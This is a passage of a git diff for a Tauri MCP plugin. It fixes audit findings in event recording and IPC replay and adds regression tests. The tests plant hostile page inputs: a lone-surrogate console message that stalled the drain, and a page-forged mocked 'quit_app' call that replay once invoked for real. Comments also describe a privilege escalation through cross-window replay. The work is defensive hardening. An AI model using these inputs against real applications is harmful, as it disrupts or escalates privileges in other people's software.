decodeURIComponent(raw); } catch(e) { cmd = raw; } - // Same classification as getIpcLog: HTTP 200 with a - // `Tauri-Response: error` header is a failed command. - var st; - if (n.status === 'pending') st = 'pending'; - else if (n.status !== 200 && n.status !== 'ok') st = 'error'; - else if (n.ipc_response === 'error') st = 'error'; - else st = 'ok'; - events.push({ type: 'ipc', command: cmd, status: st, duration_ms: n.duration_ms, arg_size_bytes: n.arg_size_bytes || 0, timestamp: n.timestamp, seq_ts: seq }); - }); - - navigationLog.forEach(function(n) { - if (inRange(n.timestamp)) { - events.push({ type: 'navigation', url: n.url, nav_type: n.type, timestamp: n.timestamp }); - } + forEachStreamEvent(excl, function(ev, key) { + if (inRange(key)) events.push(ev); }); + events.sort(function(a, b) { return a.timestamp - b.timestamp; }); + return events; + }, - interactionLog.forEach(function(i) { - if (inRange(i.timestamp)) { - events.push({ type: 'dom_interaction', action: i.action, selector: i.selector, value: i.value, timestamp: i.timestamp }); - } + // The recording drain's read: every event not yet handed to the drain, exactly once. + // Keyed by a per-page monotonic SEQUENCE, not a wall-clock watermark — a watermark on + // `Date.now()` re-read an event stamped ahead of the Rust clock (a page overriding + // `Date.now`, fake timers, an NTP step back) on every drain, and lost events logged in + // the same millisecond as the watermark after the read. An entry is sequenced the first + // time a drain sees it complete (so IPC and network calls are keyed by completion and + // never emitted while pending), and `instance` identifies this page load: after a + // reload the counter restarts, so a sequence from another instance means "from the + // start". `floorMs` (only on the first read of a recording) skips entries that + // completed before the recording began. Returns `{ instance, seq, events }`; `seq` is + // the next `afterSeq`. + drainEvents: function(afterSeq, instance, floorMs) { + var after = (instance === DRAIN_INSTANCE && typeof afterSeq === 'number') ? afterSeq : 0; + var floor = (after === 0 && typeof floorMs === 'number') ? floorMs : 0; + var events = []; + forEachStreamEvent(true, function(ev, key, entry) { + var seq = drainSeqs.get(entry); + if (seq === undefined) { + seq = ++drainSeq; + drainSeqs.set(entry, seq); + } + if (seq <= after) return; + if (floor > 0 && !(key > floor)) return; + events.push(ev); }); - events.sort(function(a, b) { return a.timestamp - b.timestamp; }); - return events; + return { instance: DRAIN_INSTANCE, seq: drainSeq, events: events }; }, // ── Wait ───────────────────────────────────────────────────────────── diff --git a/crates/victauri-plugin/src/mcp/compound_params.rs b/crates/victauri-plugin/src/mcp/compound_params.rs index 83575395..bfeafe97 100644 --- a/crates/victauri-plugin/src/mcp/compound_params.rs +++ b/crates/victauri-plugin/src/mcp/compound_params.rs @@ -463,7 +463,8 @@ pub struct RecordingParams { pub since_index: Option, /// JSON string of a previously exported `RecordedSession` (for import). pub session_json: Option, - /// Target webview label (for replay). + /// Target webview label: the window to flush, or for replay, replay only the calls + /// recorded in this window (each call always runs in the window that recorded it). #[serde(alias = "window", alias = "window_label")] pub webview_label: Option, } @@ -710,7 +711,7 @@ impl fmt::Display for TraceAction { pub struct TraceParams { /// Action: start, stop, status, frames. pub action: TraceAction, - /// Capture interval in milliseconds (for start). Default 500, min 50. + /// Capture interval in milliseconds (for start). Default 500, clamped to 50..=60000. pub interval_ms: Option, /// Maximum frames to retain in the ring buffer (for start). Default 60, max 600. pub max_frames: Option, diff --git a/crates/victauri-plugin/src/mcp/drain_tests.rs b/crates/victauri-plugin/src/mcp/drain_tests.rs new file mode 100644 index 00000000..6b9475a4 --- /dev/null +++ b/crates/victauri-plugin/src/mcp/drain_tests.rs @@ -0,0 +1,370 @@ +//! Recording drain + replay regressions (audit C5/V-10, C6, V-3, V-4). +//! +//! `PageBridge` answers the drain's `drainEvents(afterSeq, instance, floor)` read the way the +//! JS bridge does — every entry with a sequence number above `afterSeq` (all of them for another +//! page instance) — so these tests pin the Rust side of the protocol; the JS side is covered by +//! `tests/bridge_tests.rs::recording_drain_reads_each_event_exactly_once`. + +use std::sync::Mutex as StdMutex; + +use serde_json::json; +use victauri_core::{AppEvent, IpcCall, IpcResult, WindowState}; + +use super::*; + +const INSTANCE: &str = "page-instance-1"; + +#[derive(Clone, Default)] +struct PageBridge { + pending: Option, + /// `(seq, raw event JSON)` — raw so a test can plant text `serde_json` rejects. + entries: Arc>>, + delay_ms: u64, + /// `(label, script)` of every eval. + evals: Arc, String)>>>, +} + +impl PageBridge { + fn new(state: &Arc) -> Self { + Self { + pending: Some(state.pending_evals.clone()), + ..Self::default() + } + } + + fn push(&self, raw_event: &str) { + let mut e = self.entries.lock().unwrap(); + let seq = e.len() as u64 + 1; + e.push((seq, raw_event.to_string())); + } + + fn answer(&self, id: String, body: String) { + let Some(pending) = self.pending.clone() else { + return; + }; + let delay = self.delay_ms; + std::thread::spawn(move || { + std::thread::sleep(std::time::Duration::from_millis(delay)); + if let Some(tx) = pending.blocking_lock().remove(&id) { + let _ = tx.send(body); + } + }); + } + + /// Labels that received an eval invoking `command`. + fn invoked_in(&self, command: &str) -> Vec> { + let needle = format!("invoke({}", js_string(command)); + self.evals + .lock() + .unwrap() + .iter() + .filter(|(_, s)| s.contains(&needle)) + .map(|(l, _)| l.clone()) + .collect() + } + + fn drain_reads(&self) -> usize { + self.evals + .lock() + .unwrap() + .iter() + .filter(|(_, s)| s.contains("drainEvents(")) + .count() + } +} + +/// The quoted id after `marker` (`marker""`). +fn quoted_id_after(script: &str, marker: &str) -> Option { + let start = script.find(marker)? + marker.len(); + script.get(start..start + 36).map(str::to_string) +} + +impl WebviewBridge for PageBridge { + fn eval_webview(&self, label: Option<&str>, script: &str) -> Result<(), String> { + self.evals + .lock() + .unwrap() + .push((label.map(str::to_string), script.to_string())); + if script.contains("probe_ok") { + if let Some(id) = quoted_id_after(script, "id:\"") { + self.answer(id, "\"probe_ok\"".to_string()); + } + } else if let Some(args_at) = script.find("drainEvents(") { + let args = &script[args_at + "drainEvents(".len()..]; + let mut parts = args.splitn(3, ','); + let after: u64 = parts.next().unwrap().trim().parse().unwrap(); + let instance = parts.next().unwrap().trim(); + let after = if instance == js_string(INSTANCE) { + after + } else { + 0 + }; + let entries = self.entries.lock().unwrap(); + let events: Vec<&str> = entries + .iter() + .filter(|(seq, _)| *seq > after) + .map(|(_, raw)| raw.as_str()) + .collect(); + let body = format!( + r#"{{"instance":{},"seq":{},"events":[{}]}}"#, + js_string(INSTANCE), + entries.len(), + events.join(",") + ); + if let Some(id) = quoted_id_after(script, "_evalSettle(\"") { + self.answer(id, body); + } + } + Ok(()) + } + fn get_window_states(&self, _l: Option<&str>) -> Vec { + Vec::new() + } + fn list_window_labels(&self) -> Vec { + vec!["main".to_string(), "popup".to_string()] + } + fn get_native_handle(&self, _l: Option<&str>) -> Result { + Err("no handle".to_string()) + } + fn manage_window(&self, _l: Option<&str>, _a: &str) -> Result { + Err("no window".to_string()) + } + fn resize_window(&self, _l: Option<&str>, _w: u32, _h: u32) -> Result<(), String> { + Ok(()) + } + fn move_window(&self, _l: Option<&str>, _x: i32, _y: i32) -> Result<(), String> { + Ok(()) + } + fn set_window_title(&self, _l: Option<&str>, _t: &str) -> Result<(), String> { + Ok(()) + } +} + +fn state() -> Arc { + let mut s = VictauriState::for_tests(); + s.eval_timeout = std::time::Duration::from_millis(100); + Arc::new(s) +} + +async fn call(h: &VictauriMcpHandler, tool: &str, args: serde_json::Value) -> CallToolResult { + match h.execute_tool(tool, args).await { + Ok(r) => r, + Err(_) => panic!("dispatch returned a transport error"), + } +} + +fn text(r: &CallToolResult) -> String { + r.content + .iter() + .filter_map(|c| match c { + ContentBlock::Text(t) => Some(t.text.clone()), + _ => None, + }) + .collect::>() + .join("\n") +} + +fn console_json(message: &str, timestamp_ms: i64) -> String { + json!({"type": "console", "level": "log", "message": message, "timestamp": timestamp_ms}) + .to_string() +} + +async fn drain(state: &Arc, bridge: &Arc) -> Option { + crate::mcp::server::drain_window_into_recording(state, bridge, "main").await +} + +// C5 / V-10: an event stamped ahead of the Rust clock was re-read on every drain (the +// clamp-to-now watermark never got past it): one event, recorded 5 times in 5 drains. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn future_dated_event_is_recorded_once() { + let state = state(); + let page = PageBridge::new(&state); + let bridge: Arc = Arc::new(page.clone()); + let h = VictauriMcpHandler::new(state.clone(), Arc::clone(&bridge)); + let _ = call(&h, "recording", json!({"action": "start"})).await; + let future_ms = chrono::Utc::now().timestamp_millis() + 3_600_000; + page.push(&console_json("from the future", future_ms)); + for _ in 0..5 { + assert!(drain(&state, &bridge).await.is_some()); + } + assert_eq!(state.recorder.event_count(), 1); + // Later events still flow. + page.push(&console_json("now", chrono::Utc::now().timestamp_millis())); + assert_eq!(drain(&state, &bridge).await, Some(1)); + assert_eq!(state.recorder.event_count(), 2); +} + +// V-4: a lone surrogate in page JSON made serde_json reject the whole reply, so the drain +// returned None without advancing — one `console.log('\ud800')` stalled the window's recording. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn lone_surrogate_does_not_stall_the_drain() { + let state = state(); + let page = PageBridge::new(&state); + let bridge: Arc = Arc::new(page.clone()); + let h = VictauriMcpHandler::new(state.clone(), Arc::clone(&bridge)); + let _ = call(&h, "recording", json!({"action": "start"})).await; + let now = chrono::Utc::now().timestamp_millis(); + page.push(&format!( + r#"{{"type":"console","level":"log","message":"\ud800 hi","timestamp":{now}}}"# + )); + assert_eq!(drain(&state, &bridge).await, Some(1)); + assert_eq!(drain(&state, &bridge).await, Some(0), "read exactly once"); + page.push(&console_json("next", now)); + assert_eq!( + drain(&state, &bridge).await, + Some(1), + "the window keeps draining" + ); + let session = state.recorder.export().unwrap(); + let AppEvent::Console { message, .. } = &session.events[0].event else { + panic!("expected a console event"); + }; + assert_eq!(message, "\u{FFFD} hi"); +} + +// V-4: the eval envelope itself — a lone surrogate sent it down the raw-string fallback, and +// every consumer's own parse of that failed too (explain / introspect came back empty). +#[test] +fn eval_envelope_with_a_lone_surrogate_parses() { + let raw = r#"{"__victauri_ok":["a\ud800"],"__victauri_type":"object"}"#.to_string(); + let value = unwrap_eval_envelope(raw).unwrap(); + let names: Vec = serde_json::from_str(&value).unwrap(); + assert_eq!(names, vec!["a\u{FFFD}".to_string()]); +} + +// C6: a drain in flight across `recording stop` + `start` recorded the OLD recording's events +// into the NEW one (the auditors' PoC: 1 leaked event). +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn in_flight_drain_does_not_leak_into_the_next_recording() { + let state = state(); + let page = PageBridge { + delay_ms: 300, + ..PageBridge::new(&state) + }; + let bridge: Arc = Arc::new(page.clone()); + let h = VictauriMcpHandler::new(state.clone(), Arc::clone(&bridge)); + let _ = call( + &h, + "recording", + json!({"action": "start", "session_id": "A"}), + ) + .await; + tokio::time::sleep(std::time::Duration::from_millis(10)).await; + page.push(&console_json( + "during A", + chrono::Utc::now().timestamp_millis(), + )); + let st = state.clone(); + let b = Arc::clone(&bridge); + let in_flight = tokio::spawn(async move { drain(&st, &b).await }); + tokio::time::sleep(std::time::Duration::from_millis(100)).await; + let _ = call(&h, "recording", json!({"action": "stop"})).await; + tokio::time::sleep(std::time::Duration::from_millis(20)).await; + let _ = call( + &h, + "recording", + json!({"action": "start", "session_id": "B"}), + ) + .await; + let _ = in_flight.await; + let session = state.recorder.export().unwrap(); + assert_eq!(session.id, "B"); + assert!( + session.events.is_empty(), + "recording B holds events from before it started: {:?}", + session.events + ); +} + +// C6: `start` is visible before the drain epoch is reset; a drain in that gap must not read +// with the previous recording's positions. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn drain_waits_for_the_new_recordings_epoch() { + let state = state(); + let page = PageBridge::new(&state); + let bridge: Arc = Arc::new(page.clone()); + let _ = state + .recorder + .start_session("no-reset-yet".to_string()) + .unwrap(); + assert_eq!(drain(&state, &bridge).await, Some(0)); + assert_eq!(page.drain_reads(), 0, "no read before the epoch is reset"); +} + +// V-3: a route-mocked IPC call (a page can `addRoute` + `fetch` + `clearRoutes` through the +// frozen bridge API) was recorded as a real successful call, and replay then invoked it. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn mocked_ipc_is_recorded_as_mocked_and_never_replayed() { + let state = state(); + let page = PageBridge::new(&state); + let bridge: Arc = Arc::new(page.clone()); + let h = VictauriMcpHandler::new(state.clone(), Arc::clone(&bridge)); + let _ = call(&h, "recording", json!({"action": "start"})).await; + let now = chrono::Utc::now().timestamp_millis(); + page.push( + &json!({"type": "ipc", "command": "quit_app", "status": "ok", "mocked": true, + "arg_size_bytes": 0, "timestamp": now, "seq_ts": now}) + .to_string(), + ); + assert_eq!(drain(&state, &bridge).await, Some(1)); + let calls = state.recorder.ipc_replay_sequence(); + assert_eq!(calls.len(), 1); + assert!(calls[0].mocked, "the mocked flag must survive the drain"); + + let r = call(&h, "recording", json!({"action": "replay"})).await; + let body = text(&r); + assert!( + page.invoked_in("quit_app").is_empty(), + "a mocked call was replayed for real: {body}" + ); + assert!(body.contains("route rule"), "{body}"); +} + +fn ipc_in(command: &str, label: &str) -> AppEvent { + AppEvent::Ipc(IpcCall::new( + format!("c-{command}"), + command, + chrono::Utc::now(), + IpcResult::Ok(serde_json::Value::Null), + Some(1), + 0, + label, + )) +} + +// V-3: replay ran every recorded call in the window named by the replay's own +// `webview_label` (default: main) — so a call recorded in a low-privilege window ran with +// main's capabilities. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn replay_runs_each_call_in_the_window_that_recorded_it() { + let state = state(); + let page = PageBridge::new(&state); + let bridge: Arc = Arc::new(page.clone()); + let h = VictauriMcpHandler::new(state.clone(), Arc::clone(&bridge)); + state.recorder.start("s".to_string()).unwrap(); + state.recorder.record_event(ipc_in("popup_cmd", "popup")); + state.recorder.record_event(ipc_in("main_cmd", "main")); + + let _ = call(&h, "recording", json!({"action": "replay"})).await; + assert_eq!( + page.invoked_in("popup_cmd"), + vec![Some("popup".to_string())], + "a call recorded in 'popup' must run only in 'popup'" + ); + assert_eq!(page.invoked_in("main_cmd"), vec![Some("main".to_string())]); + + // `webview_label` limits replay to that window's calls; it never redirects them. + let r = call( + &h, + "recording", + json!({"action": "replay", "webview_label": "main"}), + ) + .await; + assert_eq!( + page.invoked_in("popup_cmd").len(), + 1, + "not replayed again: {}", + text(&r) + ); + assert_eq!(page.invoked_in("main_cmd").len(), 2); +} diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index a4c49f97..9b1496ea 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -7,9 +7,12 @@ mod authz; mod backend_params; mod compound_params; +#[cfg(test)] +mod drain_tests; mod helpers; mod introspection_params; mod other_params; +pub(crate) mod page_json; mod rest; mod server; mod verification_params; @@ -1974,7 +1977,7 @@ impl VictauriMcpHandler { } #[tool( - description = "Time-travel recording. Actions: start (begin recording), stop (end and return session), checkpoint (save state snapshot), list_checkpoints, get_events (since index), events_between (two checkpoints), get_replay (IPC replay sequence), export (session as JSON), import (load a session from JSON as the active recording; refused while one is in progress), replay (re-invoke the recorded IPC commands that succeeded with no arguments — their side effects happen again; calls that had arguments, failed, or never completed are skipped because recordings do not capture arguments), flush (immediately drain pending events into recording without waiting for the 1-second poll).", + description = "Time-travel recording. Actions: start (begin recording), stop (end and return session), checkpoint (save state snapshot), list_checkpoints, get_events (since index), events_between (two checkpoints), get_replay (IPC replay sequence), export (session as JSON), import (load a session from JSON as the active recording; refused while one is in progress), replay (re-invoke the recorded IPC commands that succeeded with no arguments, each in the window that made it — their side effects happen again; calls that had arguments, failed, never completed, or were answered by a route rule are skipped, and webview_label limits replay to that window's calls), flush (immediately drain pending events into recording without waiting for the 1-second poll).", annotations( read_only_hint = false, destructive_hint = true, @@ -1992,9 +1995,10 @@ impl VictauriMcpHandler { let session_id = params .session_id .unwrap_or_else(|| uuid::Uuid::new_v4().to_string()); - match self.state.recorder.start(session_id.clone()) { - Ok(()) => { - self.reset_drain_floor(); + let floor_ms = now_ms(); + match self.state.recorder.start_session(session_id.clone()) { + Ok(generation) => { + self.state.drain_watermarks.reset(floor_ms, generation); let result = serde_json::json!({ "started": true, "session_id": session_id, @@ -2081,14 +2085,6 @@ impl VictauriMcpHandler { Err(e) => return tool_error(format!("invalid session JSON: {e}")), }; - // Import REPLACES the active recording. Doing that silently threw away an - // in-progress recording, so require it to be stopped (and saved) first. - if self.state.recorder.is_recording() { - return tool_error( - "a recording is in progress — import would discard it. Stop it first \ - (recording action=stop, or export it), then import.", - ); - } let result = serde_json::json!({ "imported": true, "session_id": session.id, @@ -2099,8 +2095,19 @@ impl VictauriMcpHandler { "note": "the imported session is now the ACTIVE recording: live events are \ appended to it until you call recording action=stop", }); - self.reset_drain_floor(); - self.state.recorder.import(session); + // Import REPLACES the active recording. Doing that silently threw away an + // in-progress recording, so require it to be stopped (and saved) first — checked + // and replaced in one step, so a recording started concurrently is never lost. + let floor_ms = now_ms(); + match self.state.recorder.import_if_idle(session) { + Ok(generation) => self.state.drain_watermarks.reset(floor_ms, generation), + Err(_) => { + return tool_error( + "a recording is in progress — import would discard it. Stop it first \ + (recording action=stop, or export it), then import.", + ); + } + } CallToolResult::success(vec![ContentBlock::text(result.to_string())]) } RecordingAction::Flush => { @@ -2152,13 +2159,30 @@ impl VictauriMcpHandler { // command with none. Re-running a call that took arguments is guaranteed // wrong (it fails, or worse, runs with defaults), and re-running a call // that failed or never completed reproduces nothing — skip both, loudly. + // A call a route rule answered in the page never reached the backend: + // replaying it would turn a fake (possibly page-forged) success into a real + // invocation. let skip_reason = match &call.result { - victauri_core::IpcResult::Ok(_) if call.arg_size_bytes > 0 => { - Some("the original call had arguments, which recordings do not capture") + _ if call.mocked => Some( + "the original call was answered by a route rule in the page, not the backend".to_string(), + ), + victauri_core::IpcResult::Ok(_) if call.arg_size_bytes > 0 => Some( + "the original call had arguments, which recordings do not capture".to_string(), + ), + victauri_core::IpcResult::Ok(_) => params + .webview_label + .as_deref() + .filter(|only| *only != call.webview_label) + .map(|only| { + format!( + "recorded in window '{}'; replay was limited to '{only}'", + call.webview_label + ) + }), + victauri_core::IpcResult::Err(_) => { + Some("the original call failed".to_string()) } - victauri_core::IpcResult::Ok(_) => None, - victauri_core::IpcResult::Err(_) => Some("the original call failed"), - _ => Some("the original call never completed"), + _ => Some("the original call never completed".to_string()), }; if let Some(reason) = skip_reason { replay_results.push(serde_json::json!({ @@ -2185,8 +2209,12 @@ impl VictauriMcpHandler { "return window.__TAURI_INTERNALS__.invoke({})", js_string(&call.command) ); + // Replay each call in the window that made it — never a default window: a + // command recorded in a low-privilege window must not run with main's + // capabilities. A window that no longer exists fails the call (an explicit + // label never falls back to another window). let outcome = match self - .eval_with_return(&code, params.webview_label.as_deref()) + .eval_with_return(&code, Some(call.webview_label.as_str())) .await { Ok(result_str) => { @@ -2195,6 +2223,7 @@ impl VictauriMcpHandler { let shape = crate::introspection::JsonShape::from_value(&value); serde_json::json!({ "command": call.command, + "webview_label": call.webview_label, "status": "ok", "response_type": shape.type_name(), }) @@ -2223,8 +2252,9 @@ impl VictauriMcpHandler { "failed": replayed - passed, "skipped": skipped, "note": "commands are re-invoked WITHOUT arguments (recordings do not capture \ - them) and their side effects happen again; calls that had arguments, \ - failed, or never completed are skipped", + them), each in the window that recorded it, and their side effects \ + happen again; calls that had arguments, failed, never completed, or \ + were answered by a route rule are skipped", "results": replay_results, }); json_result(&result) @@ -2515,43 +2545,54 @@ impl VictauriMcpHandler { // A trace started over a running one supersedes it: end the recording the // previous trace started (if it is still the active one), or it would be left // running with no owner (and the per-second drain loop with it). - if let Some(prev) = self.state.screencast.take_owned_recording() { - let _ = self.state.recorder.stop_if_session(&prev); + let (generation, superseded) = + self.state + .screencast + .start(interval, max_frames, label.clone()); + if let Some(prev) = superseded { + let _ = self.state.recorder.stop_if_generation(prev); } - let generation = self - .state - .screencast - .start(interval, max_frames, label.clone()); let mut events_started = false; if params.with_events.unwrap_or(false) { let session_id = uuid::Uuid::new_v4().to_string(); - if self.state.recorder.start(session_id.clone()).is_ok() { - self.reset_drain_floor(); - events_started = true; - // Only a recording THIS trace started is stopped with it — by session - // id, so a recording the agent starts later is never stopped by us. - self.state.screencast.set_owned_recording(Some(session_id)); + let floor_ms = now_ms(); + if let Ok(recording) = self.state.recorder.start_session(session_id) { + self.state.drain_watermarks.reset(floor_ms, recording); + // Only a recording THIS trace started is stopped with it — by recorder + // generation, so a recording started later (even under the same session + // id) is never stopped by us. If this trace was already stopped or + // superseded meanwhile, nothing would ever stop the recording: do it now. + if self + .state + .screencast + .set_owned_recording(generation, recording) + { + events_started = true; + } else { + let _ = self.state.recorder.stop_if_generation(recording); + } } } // Background capture task: snapshot the window each interval until the // screencast is stopped, superseded by a newer start, or hits the max duration. + // The guard ends the trace (and its recording) however the task exits — the + // max-duration break, or a panic. let handler = self.clone(); let screencast = self.state.screencast.clone(); + let guard = crate::screencast::CaptureTaskGuard { + screencast: Arc::clone(&screencast), + recorder: self.state.recorder.clone(), + generation, + }; tokio::spawn(async move { + let _guard = guard; let t0 = std::time::Instant::now(); - while screencast.is_active() && screencast.generation() == generation { - if t0.elapsed() >= MAX_TRACE_DURATION { - // An abandoned trace must not capture (and burn CPU) forever. - // Atomic: only if no newer trace has started in the meantime. - if screencast.stop_if_generation(generation) - && let Some(owned) = screencast.take_owned_recording() - { - let _ = handler.state.recorder.stop_if_session(&owned); - } - break; - } + // An abandoned trace must not capture (and burn CPU) forever: past the max + // duration the loop ends and the guard stops it (only if no newer trace has + // started in the meantime). + while screencast.is_current(generation) && t0.elapsed() < MAX_TRACE_DURATION { // Same visible-target rule as `screenshot`: a hidden window yields // stale or another window's pixels, so skip the frame instead. if let Ok(target) = handler.resolve_visible_capture_target(label.as_deref()) @@ -2576,23 +2617,23 @@ impl VictauriMcpHandler { json_result(&serde_json::json!({ "started": true, - "interval_ms": interval.max(50), + "interval_ms": self.state.screencast.interval_ms(), "max_frames": max_frames.clamp(1, 600), "with_events": events_started, })) } TraceAction::Stop => { - let frame_count = self.state.screencast.stop(); + let (frame_count, owned) = self.state.screencast.stop(); let timestamps = self.state.screencast.frame_timestamps(); let duration_ms = timestamps.last().copied().unwrap_or(0); // Stop the recording `with_events` started, so the recorder (and the // per-second drain loop it enables) does not outlive the trace. The session // stays readable via recording get_events/export (last stopped session). - let event_count = match self.state.screencast.take_owned_recording() { + let event_count = match owned { Some(owned) => self .state .recorder - .stop_if_session(&owned) + .stop_if_generation(owned) .map_or(0, |session| session.events.len()), None => self.state.recorder.event_count(), }; @@ -3017,7 +3058,7 @@ impl VictauriMcpHandler { .eval_with_return(&code, params.webview_label.as_deref()) .await { - Ok(json_str) => serde_json::from_str::>(&json_str) + Ok(json_str) => page_json::parse_page_json::>(&json_str) .map(|entries| ipc_timing_stats(&entries)) .unwrap_or_default(), Err(_) => Vec::new(), @@ -3063,13 +3104,15 @@ impl VictauriMcpHandler { .eval_with_return(&code, params.webview_label.as_deref()) .await { - Ok(json_str) => match serde_json::from_str::>(&json_str) { - Ok(names) => { - let count = names.len(); - (names.into_iter().collect(), count) + Ok(json_str) => { + match page_json::parse_page_json::>(&json_str) { + Ok(names) => { + let count = names.len(); + (names.into_iter().collect(), count) + } + Err(_) => (std::collections::HashSet::new(), 0), } - Err(_) => (std::collections::HashSet::new(), 0), - }, + } Err(_) => (std::collections::HashSet::new(), 0), }; @@ -3128,7 +3171,7 @@ impl VictauriMcpHandler { .eval_with_return(&code, params.webview_label.as_deref()) .await { - Ok(json_str) => serde_json::from_str(&json_str).unwrap_or_default(), + Ok(json_str) => page_json::parse_page_json(&json_str).unwrap_or_default(), Err(e) => return tool_error(format!("failed to read IPC log: {e}")), }; @@ -4244,7 +4287,7 @@ impl VictauriMcpHandler { }; let label = webview_label.unwrap_or("main"); let mut events: Vec = - serde_json::from_str::>(&raw) + page_json::parse_page_json::>(&raw) .unwrap_or_default() .iter() .filter_map(|ev| crate::mcp::server::parse_bridge_event_from(ev, label)) @@ -4254,15 +4297,6 @@ impl VictauriMcpHandler { events } - /// Begin a new recording epoch for the drain: events at or before now are never pulled - /// into the recording (an imported session's old start time used to pull in the page's - /// whole history). - fn reset_drain_floor(&self) { - #[allow(clippy::cast_precision_loss)] - let now_ms = chrono::Utc::now().timestamp_millis() as f64; - self.state.drain_watermarks.reset(now_ms); - } - /// Resolve the EXACT window a native capture (`screenshot`, `trace`) should target, and /// require it to be visible. A native capture reads the on-screen surface; a hidden window /// has none, so the OS path (`PrintWindow` / `CGWindowListCreateImage`) silently returns @@ -5162,6 +5196,15 @@ fn trimmed_log_js(source_expr: &str, limit: usize) -> String { ) } +/// Wall-clock epoch milliseconds: the floor a new recording epoch's drain reads from. Taken +/// BEFORE the recording starts, so nothing logged after the start falls below it. (An imported +/// session's old start time used to pull in the page's whole history.) +fn now_ms() -> f64 { + #[allow(clippy::cast_precision_loss)] + let ms = chrono::Utc::now().timestamp_millis() as f64; + ms +} + /// Unwrap the `{"__victauri_ok": , "__victauri_type": }` (or /// `{"__victauri_err": }`) envelope produced by the eval bridge into the /// value/error string returned to callers. @@ -5173,7 +5216,9 @@ fn trimmed_log_js(source_expr: &str, limit: usize) -> String { /// string slicing (no recursion) so the actual value is still returned rather /// than leaking the raw envelope string. fn unwrap_eval_envelope(raw: String) -> Result { - if let Ok(envelope) = serde_json::from_str::(&raw) { + // Page JSON: sanitize lone surrogates first, or one truncated emoji in a result sends it + // down the raw-string fallback below (and every consumer's own parse of it fails too). + if let Ok(envelope) = page_json::parse_page_json::(&raw) { if let Some(err) = envelope.get("__victauri_err") { return Err(format!( "JavaScript error: {}", @@ -6248,7 +6293,7 @@ mod authz_dispatch_tests { /// positional array body used to be gated as the bare tool name, which the Test /// profile allows for `navigate` — the handler then parsed and ran `go_to`. Both /// shapes must now be refused as invalid params before any handler runs, in every - /// profile (FullControl with the action disabled is the other half of the bypass). + /// profile (`FullControl` with the action disabled is the other half of the bypass). #[tokio::test] async fn non_string_action_cannot_slip_past_the_gate() { let mut full_minus_go_to = PrivacyConfig::default(); diff --git a/crates/victauri-plugin/src/mcp/page_json.rs b/crates/victauri-plugin/src/mcp/page_json.rs new file mode 100644 index 00000000..fd685291 --- /dev/null +++ b/crates/victauri-plugin/src/mcp/page_json.rs @@ -0,0 +1,116 @@ +//! Parsing JSON produced by page JavaScript. +//! +//! `JSON.stringify` in the webview escapes an unpaired UTF-16 surrogate as `\ud800`-style text +//! (well-formed stringify, ES2019). That is valid JSON to JavaScript but not to `serde_json`, +//! which rejects it — so one truncated emoji, or one hostile `console.log('\ud800')`, made the +//! whole result unparseable: the recording drain stalled, and `explain` / `introspect` silently +//! came back empty. Every Rust parse of page-produced JSON goes through +//! [`sanitize_lone_surrogates`] (or [`parse_page_json`]) first. + +use std::borrow::Cow; + +/// Rewrite every `\uXXXX` escape of an unpaired surrogate (U+D800–U+DFFF not part of a valid +/// high+low escape pair) to `�`, the replacement character. Escape-aware: `\\ud800` is an +/// escaped backslash followed by text, not an escape, and is left alone. Valid pairs are kept. +/// Returns the input unchanged (borrowed) when there is nothing to rewrite. +#[must_use] +pub fn sanitize_lone_surrogates(json: &str) -> Cow<'_, str> { + let bytes = json.as_bytes(); + let mut out: Option = None; + let mut copied = 0; + let mut i = 0; + while i < bytes.len() { + if bytes[i] != b'\\' { + i += 1; + continue; + } + let Some(cp) = unicode_escape_at(bytes, i) else { + // Any other escape (`\\`, `\"`, `\n`, …) is two bytes; skipping both keeps an + // escaped backslash from being mistaken for the start of a `\u` escape. + i += 2; + continue; + }; + let lone = match cp { + 0xD800..=0xDBFF => { + if unicode_escape_at(bytes, i + 6).is_some_and(|lo| (0xDC00..=0xDFFF).contains(&lo)) + { + i += 12; // a valid pair + continue; + } + true + } + 0xDC00..=0xDFFF => true, + _ => false, + }; + if lone { + let buf = out.get_or_insert_with(|| String::with_capacity(json.len())); + buf.push_str(&json[copied..i]); + buf.push_str("\\ufffd"); + copied = i + 6; + } + i += 6; + } + match out { + None => Cow::Borrowed(json), + Some(mut buf) => { + buf.push_str(&json[copied..]); + Cow::Owned(buf) + } + } +} + +/// The code unit of a `\uXXXX` escape starting at byte `at`, if there is one. +fn unicode_escape_at(bytes: &[u8], at: usize) -> Option { + let esc = bytes.get(at..at + 6)?; + if esc[0] != b'\\' || esc[1] != b'u' { + return None; + } + let hex = std::str::from_utf8(&esc[2..]).ok()?; + u32::from_str_radix(hex, 16).ok() +} + +/// `serde_json::from_str` for JSON produced by page JavaScript (see the module docs). +/// +/// # Errors +/// +/// Returns the `serde_json` error if the sanitized text still does not parse as `T`. +pub fn parse_page_json(json: &str) -> serde_json::Result { + serde_json::from_str(&sanitize_lone_surrogates(json)) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn lone_surrogates_become_replacement_characters() { + let raw = r#"["a\ud800b","\udc00","x\uD83D"]"#; + assert!(serde_json::from_str::>(raw).is_err()); + let v: Vec = parse_page_json(raw).unwrap(); + assert_eq!(v, vec!["a\u{FFFD}b", "\u{FFFD}", "x\u{FFFD}"]); + } + + #[test] + fn valid_pairs_and_escaped_backslashes_are_untouched() { + let pair = r#""😀""#; + assert!(matches!(sanitize_lone_surrogates(pair), Cow::Borrowed(_))); + assert_eq!(parse_page_json::(pair).unwrap(), "\u{1F600}"); + // `\\ud800` is a literal backslash followed by "ud800". + let text = r#""\\ud800""#; + assert!(matches!(sanitize_lone_surrogates(text), Cow::Borrowed(_))); + assert_eq!(parse_page_json::(text).unwrap(), "\\ud800"); + // A high surrogate followed by a non-low escape is still lone. + let v: String = parse_page_json(r#""\ud800A""#).unwrap(); + assert_eq!(v, "\u{FFFD}A"); + } + + #[test] + fn truncated_input_does_not_panic() { + for raw in [r"\", r"\u", r"\ud8", r#""\ud800"#, r"\ud800\u"] { + let _ = sanitize_lone_surrogates(raw); + } + // Multi-byte text 